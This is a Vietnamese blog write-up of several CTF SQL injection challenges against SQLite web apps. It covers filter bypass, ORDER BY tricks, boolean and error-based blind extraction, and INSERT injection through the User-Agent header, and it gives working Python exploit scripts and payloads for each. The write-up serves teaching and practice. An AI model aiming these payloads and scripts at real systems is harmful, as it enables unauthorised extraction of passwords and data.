[Cookie hân hoan] Some SQL Injection Challenges


Cũng khá lâu rồi mình mới quay lại viết writeup sau một khoảng thời gian ôn thi và nghiên cứu :v. Cũng là để rèn luyện khả năng viết script exploit thì tất cả những bài ở dưới mình cũng sẽ kèm thêm cả 1 đoạn script. Vì còn khá gà kỹ năng viết script exploit, nên mong ae hãy nhẹ tay comment để giúp mình cải thiện hơn trong những lần sau. Và sau sẽ là toàn bộ những bài SQL Injection mà mình đã làm được theo chiều từ dưới lên nhé.
Baby SQLite With Filter
Bài này đã filter kha khá thứ nhưng nếu không có hint thì mình có đâm đầu vào đây thêm 10 tháng nữa chắc cũng chưa làm ra :v
Với một hint chất lượng là “nó có query với param level nữa. Làm thế nào để câu query ra ‘admin’ là được”. Và mình đã tưởng tượng ra câu query như này
SELECT username FROM users WHERE uid = '&uid' AND upw = '&upw' AND level = &level
Giờ mình sẽ đi qua từng param để loại trừ đi nhé:
- Với param
uid
vàupw
nó là string rồi thì khi mình inject sẽ phải sử dụng dấu nháy đơn‘
để kết hợp với dấu nháy đơn trong câu query. Mà dấu nháy đơn lại nằm trong blacklist rồi
⇒ Inject vào param level
Để ý trong blacklist sẽ trong có UNION
và nó cũng là cái mà mình cần đấy. Tiếp theo là VALUES
cũng không bị filter luôn. Vậy giờ câu query của mình nó sẽ trông dư lày:
SELECT username FROM users WHERE uid = '' AND upw = '' AND level = 999 UNION VALUES(CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110))
Nhưng với dấu space thì nó lại bị filter rồi thì mình bypass kiểu gì đây????
Với mình thì dấu space trong trường hợp này có thể được thay thế bằng dấu comment. Trong SQLite có 2 loại dấu comment, đó là --
và /**/
trong trường hợp này thì mình dùng dấu thứ 2
OK đến giờ giải thích payload:
Mình sẽ truyền
uid
vàupw
là rỗng để khi query sẽ không trả về bản ghi nàoVới
level
thì là chỗ mình truyền payload. Để nó là 999 thì cũng là lý do như trên và kèm với đoạn kia …
Đây nó đây
Tại sao lại có những con số kia ư? Nó đây
Trong hàm VALUES
nó sẽ nối các chữ được chuyển từ dạng số nguyên sang ascii kia thành 1 từ “admin” hoàn chỉnh và ||
trong đó là để nối các từ riêng lẻ lại đó.
Như vậy với câu UNION VALUES(CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110))
nó cũng sẽ tương đương với SELECT ‘admin’
PoC script:
import requests
host = "http://103.97.125.53:31171/login" # change this
payload = {"uid": "1", "upw": "1",
"level": "999/**/UNION/**/VALUES(CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110))--/**/-"}
flag = requests.post(host, data=payload).text
print(f'Flag is: {flag}')
Simple SQLi
Bài này thì sau khi đọc xong mình nghĩ đến order by
. Vì sao à, vì guest
và admin
nó đều có userlevel
là 0 mà để sắp xếp theo bảng chữ cái thì tất nhiên “admin” nó xếp trên “guest” rồi. Giờ thì vào bài thôi nhỉ.
Khi mình search là 0 thì nó sẽ trả về là guest
. Nhưng giờ mình chưa biết câu query có tồn tại dấu nháy hay không thì giờ sẽ fuzz nhé :v
Khi mình thêm 1 dấu comment như này thì server trả về wrong
rồi thì khả năng cao nó sẽ có dấu nháy này. Thử tiếp với nháy đơn xem sao
Xong đến giờ này thì mình tưởng tượng ra câu query nó như này
SELECT username FROM users WHERE userlevel='<cai_minh_truyen>'
Sau khi thực hiện câu query xong, server sẽ lấy bản ghi đầu tiên, nếu có giá trị là guest
thì thông báo ra là “guest”. Còn nếu nó là admin
thì sẽ đưa ra flag (cái này là đoán vậy thôi)
Như đã trình bày ở trên thì khi mình order by
đúng cái cột mà chứa guest
với admin
theo thứ tự giảm dần thì chắc chắn thằng admin
nó sẽ đứng trước guest
và mình sẽ lấy được giá trị admin
Và giờ mình chỉ cần fuzz xem nó là cột nào thôi, nhưng may mắn thế nào nó lại là cột đầu tiên luôn chứ nên là có script luôn:
import requests
host = "http://103.97.125.53:32302/login" # change this
payload = {"userlevel": "0' ORDER BY 1-- -"}
response = requests.post(host, data=payload).text
print(response)
Simple Blind SQL Injection
Mục tiêu bài này là lấy được password của admin rồi login vào để lấy flag (mình đoán là vậy).
Trên giao diện web, khi mình search 1 user đã tồn tại thì sẽ được thông báo là
Với một user chưa tồn tại thì
OK, bài này đã cho mình luôn câu query rồi nên sẽ dễ dàng hơn.
Ý tưởng bài này là mình sẽ đi dò từng kí tự password của admin. Nếu đúng mình sẽ cố gắng cho nó trả về thông báo tồn tại, còn không thì sẽ là không tồn tại. Giờ thì xây dựng quả payload thôi:
Hàm
substr
trong SQLite này sẽ giúp chúng ta lấy số lượng ký tự của 1 chuỗi mình cho trước. Nên mình sẽ dùng hàm nàySau khi lấy được kí tự rồi, mình sẽ đem đi so sánh với từng kí tự từ a-zA-Z0-9 và các dấu có thể như “{”, ”}”, ”_”
Vậy giờ làm sao để cho nó đúng thì trả về tồn tại còn sai thì không tồn tại. Đúng vậy, mình dùng
AND
luôn.
Vậy thì 1 cái payload không hoàn chỉnh sẽ như thế này
admin' AND SUBSTR(upw,<vi_tri_bat_dau>,1)='<ki_tu_nao_do>'-- -
Ví dụ với vị trí bắt đầu là 1, mình đem đi so sánh với chữ “a” đi, thì câu query sẽ trông như này:
SELECT * FROM users WHERE uid='admin' AND SUBSTR(upw,1,1)='a'-- -';
Lúc này server sẽ tìm kiếm 1 bản ghi nào đó có uid='admin'
và ký tự đầu tiên của upw
là “a”. Nếu thỏa mãn thì trả về tồn tại, không tìm thấy thì là không tồn tại.
NHƯNG khoan, vậy thì cái upw
có bao nhiêu ký tự để mà mình xem nó bắt đầu từ vị trí nào đúng không? Thế thì giờ sẽ dùng đến hàm LENGTH
trong SQLite để lấy độ dài :v
SELECT * FROM users WHERE uid='admin' AND LENGTH(upw)=<minh_truyen_vao_day>-- -';
Xâu chuỗi lại sẽ là:
Tìm ra độ dài của password
Tìm từng ký tự của password cho đến khi kết thúc
Đăng nhập nhận quà
Vậy thì đến lúc script exploit rồi:
import requests
import string
dic = string.ascii_letters + string.digits + "{" + "}" + "_"
host = "http://103.97.125.53:30142/" # change this
param = "?uid="
# get length
len = 0
for i in range(1, 100):
print(f'Try: {i}', end="\r")
payload = f"admin' AND length(upw)={i}-- -"
response = requests.get(host+param+payload).text
if 'exists' in response:
print(f'Password length is {i}')
len = i
break
# get password
password = ''
for i in range(1, len+1):
for chr in dic:
print(f'Try the character in position {i}: {chr}', end="\r")
payload = f"admin' AND SUBSTR(upw,{i},1)='{chr}'-- -"
response = requests.get(host+param+payload).text
if 'exists' in response:
password += chr
break
print("\t\t\t\t\t\t")
print('Password is: '+password)
# get flag
path = "login"
data = {"username": "admin", "password": password}
response = requests.post(host+path, data=data).text
print(f"FLag is: {response}")
Baby Logger Middleware
Mục tiêu của bài này là thêm 1 giá trị HACKER_WAS_HERE
trong cột IP ip_address
. Vào xem cái web nó ra sao cái nhỉ
Vậy là nó sẽ lưu những thông tin như User Agent, Referer, URL,...
vào trong database. Mở BurpSuite để có thể nhìn rõ hơn nào
Trong BurpSuite mình có thể dễ dàng tùy chỉnh giá trị của User-Agent
thế thì thử phát xem sao
Vậy là nó sẽ lưu được :V, nếu mình không truyền 1 giá trị như bình thường thì sao mà mình truyền cho User-Agent
có một dấu nháy đơn thì sao nhỉ
BÙMMMMMM!!! Như vậy là trong error message đã đưa cho mình câu query luôn rồi
INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', 'ngductung'', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');
Nếu từ chỗ User-Agent
mình sẽ thao túng luôn cả câu INSERT
này thì???? Lúc này mình sẽ truyền là: 1', '2', '3', '4', '5')-- -
thì cả câu query nó sẽ trở thành:
INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', '1', '2', '3', '4', '5')-- -', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');
Cái mình chèn vào nó đã giúp hoàn thành câu INSERT
ban đầu và loại bỏ những phần đằng sau đi nhờ dấu comment -- -
. Nhưng các bạn để ý thì thấy mình mới chỉ chèn dữ liệu cho các cột từ user_agent
trở đi mà chưa chèn được vào cột ip_address
. Thế thì mình nên đi xem lại câu INSERT
trong SQL cái nhỉ
Như vậy là câu INSERT
có thể truyền nhiều hàng trong cùng 1 câu lệnh. Vậy giờ mình sẽ chỉ cần thêm 1 hàng nữa thôi. Cái mình inject sẽ là:
1', '2', '3', '4', '5'),('0','1', '2', '3', '4', '5')-- -
Và câu query sẽ trở thành:
INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', '1', '2', '3', '4', '5'),('0','1', '2', '3', '4', '5')-- -', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');
Thử trên BurpSuite thôi:
OK rồi, và giờ mình sẽ cần đổi giá trị 0
thành chuỗi mà đề bài yêu cầu là xong
Script exploit:
import requests
import re
burp0_url = "http://103.97.125.53:32042/" # change this
burp0_headers = {
"User-Agent": "1', '2', '3', '4', '5'),('HACKER_WAS_HERE','1', '2', '3', '4', '5')-- -"}
response = requests.get(burp0_url, headers=burp0_headers).text
flag = re.search(r'CHH\{[\w+.*]+\}', response)[0]
print(flag)
Logger Middleware
Bài này thì có mục tiêu là lấy được flag trong database. Thì sau khi đọc xong description thì ý tưởng của mình sẽ là:
Tìm được tên các bảng
Tìm được tên các cột của bảng chứa flag
Lấy flag
Tất cả nó mới chỉ ở ý tưởng, giờ thì mình vào web để triển khai cái ý tưởng này thôi
Cũng giống như bài trên đấy, thế thì confirm lại xem có inject được vào User-Agent
không đã nhỉ
Thế thì là giống rồi đấy, vậy giờ mình sẽ phải tìm tên các bảng trong database này. Vì mình không nghịch nhiều SQLite nên sẽ đi kiếm cái payload để về custom lại. Đây sẽ là câu query để lấy được tên các bảng trong database ở SQLite:
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
Nhưng giờ chèn vào đâu được? Lúc này mình sẽ sử dụng subquery :v, vẫn là truyền như ở bài trên nhưng thay vì là 1, 2, 3, 4, 5 gì gì đó mình sẽ thay thế bằng câu truy vấn con thôi
Lúc này mình sẽ truyền:
'||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'
Thì câu INSERT
sẽ là:
INSERT INTO logger (ip_address, user_agent, referer, url, cookie, created_at)
VALUES ('***', ''||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||', 'None', 'http://103.97.125.53:32042/', 'None', '2023-07-16 16:05:06.485003');
Tận dụng được luôn dấu nháy đơn ban đầu trước :v Với cái payload này thì nó sẽ nối 1 chuỗi rỗng ''
với kết quả của câu subquery rồi lại nối với một chuỗi rỗng nữa ''
thế là ra được nội dung của cột user_agent
Giờ mình sẽ lấy tên các cột trong bảng ‘flag’
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'
Sau khi lấy được các cột thì mình sẽ lấy nội dung của cột đó nữa là xong :v
Script:
import requests
import re
host = "http://103.97.125.53:30959/"
# get database
print("Database: ", end="")
payload = {
"User-Agent": "'||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'"}
response = requests.get(host, headers=payload).text
database = re.search(r'<td>(\w+.*)</td>', response)[1]
print(database)
# get table
print("Table flag: ")
payload = {
"User-Agent": "'||(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag')||'"}
response = requests.get(host, headers=payload).text
table = re.search(f'CREATE TABLE[^<]+', response)[0]
print(table)
# get flag
print("Flag is: ", end="")
payload = {
"User-Agent": "'||(SELECT secr3t_flag FROM flag)||'"}
response = requests.get(host, headers=payload).text
flag = re.search(f'<td>(\w+.*)</td>', response)[1]
print(flag)
Blind Logger Middleware
Bài này sương sương thì cũng giống bài trên nhưng giờ đây khi INSERT
thành công thì sẽ trả về là Logged
Và khi không thành công thì sẽ là Error
Ý tưởng của mình sẽ là đi mò từng ký tự từ tên bảng, tên cột, dữ liệu của cột luôn. Nếu nó đúng với ký tự mình đem đi so sánh (giống với bài Blind SQLi Injection ở trên) thì mình sẽ làm nó trả về Logged
còn sai thì sẽ là Error
Cái payload chính cũng sẽ xoay quanh điều kiện True và False như này
SELECT CASE WHEN SUBSTR(subquery_tuong_tu_bai_tren)='<ky_tu_nao_do>' THEN 1 ELSE load_extension(1) END
Ví dụ với lấy độ dài đi
SELECT CASE WHEN LENGTH(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')=13 THEN 1 ELSE load_extension(1) END
Nếu độ dài của tên các bảng (ví dụ nó trả về là: “ngductung,abc”) là 13 ⇒ điều kiện sẽ đúng và trả lại về 1. Sau đó ta nối chuỗi như bài trên :v thì lúc đó sẽ
INSERT
thành công và kết quả trả về làLogged
Còn khi độ dài của tên các bảng đó không là 13, thì điều kiện sai ⇒ thực hiện
load_extension(1)
mà hàm này sẽ gây ra lỗi ⇒ Không thực hiệnINSERT
được ⇒ Kết quả trả về đó làError
Vậy cứ như thế mình sẽ đi tìm:
Độ dài của tên các bảng ⇒ Tìm tên các bảng
Độ dài của các cột trong bảng cần khai thác ⇒ Tên các cột trong bảng đó
Độ dài của dữ liệu ⇒ Lấy được dữ liệu
Đây sẽ là script cho anh em:
import requests
import string
host = 'http://103.97.125.53:30741/'
dicc = string.ascii_letters + string.digits + \
'{' + '}' + '_' + '(' + ')' + ',' + ' '
# GET TABLE NAME
# get length group_concat table name
for i in range(1, 100):
userAgent = {
'User-agent': "'||(select CASE WHEN (length((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'))={}) THEN 1 ELSE load_extension(1) END)||'".format(i)}
response = requests.get(host, headers=userAgent)
print("Try {}".format(i), end="\r")
if 'Logged' in response.text:
len = i
break
# get table name
table_name = ''
for i in range(1, len+1):
for char in dicc:
userAgent = {
'User-agent': "'||(select CASE WHEN (substr((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),{},1)='{}') THEN 1 ELSE load_extension(1) END)||'".format(i, char)}
response = requests.get(host, headers=userAgent)
if 'Logged' in response.text:
table_name += char
break
print('Table: '+table_name)
# EXTRACT COLUMN NAME OF FLAG TABLE
# SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'
# get length columns
column = ''
table = 'flag' # change table name if you want
for i in range(1, 200):
userAgent = {
'User-agent': "'||(select CASE WHEN (length((SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='flag'))={}) THEN 1 ELSE load_extension(1) END)||'".format(i)}
response = requests.get(host, headers=userAgent)
print("Try {}".format(i), end="\r")
if 'Logged' in response.text:
len = i
break
# extract columns (construct)
for i in range(1, len+1):
print("Char {}".format(i), end='\r')
for char in dicc:
payload = f"'||(select CASE WHEN (substr((SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='{table}'),{i},1)='{char}') THEN 1 ELSE load_extension(1) END)||'"
userAgent = {'User-agent': payload}
response = requests.get(host, headers=userAgent)
if 'Logged' in response.text:
column += char
break
print('TABLE flag: '+column)
# GET FLAG
# get length flag
column_name = 'secret' # change column name if you want
for i in range(1, 200):
payload = f"'||(select CASE WHEN (length((SELECT {column_name} FROM {table}))={i}) THEN 1 ELSE load_extension(1) END)||'"
userAgent = {'User-agent': payload}
response = requests.get(host, headers=userAgent)
print("Try {}".format(i), end="\r")
if 'Logged' in response.text:
len = i
break
# get flag
flag = ''
for i in range(1, len+1):
print("Try char {}".format(i), end='\r')
for char in dicc:
payload = f"'||(select CASE WHEN (substr((SELECT {column_name} FROM {table}),{i},1)='{char}') THEN 1 ELSE load_extension(1) END)||'"
userAgent = {'User-agent': payload}
response = requests.get(host, headers=userAgent)
if 'Logged' in response.text:
flag += char
break
print('Flag is: '+flag)
Tổng kết
Đến đây chắc có lẽ là hết những bài SQLi mà mình làm được rồi. Qua bài này mình cũng đã có thêm kiến thức về script, regex và cũng hi vọng mọi người có thể hiểu hơn về khai thác Blind SQLi (vì nó mất thời gian :v) hay là có những thể lượm nhặt gì có ích cho bản thân sau bài writeup này :v Nếu có phần nào chưa hiểu bạn có thể comment xuống dưới để mình và team có thể giúp bạn hiểu hơn và nếu bạn đã hiểu rồi thì hãy để lại comment để giúp mình cải thiện kỹ năng viết cho những lần sau viết bài. Hẹn gặp lại trong bài writeup tiếp theo (có lẽ là về Command Injection).
Subscribe to my newsletter
Read articles from Nguyễn Đức Tùng directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
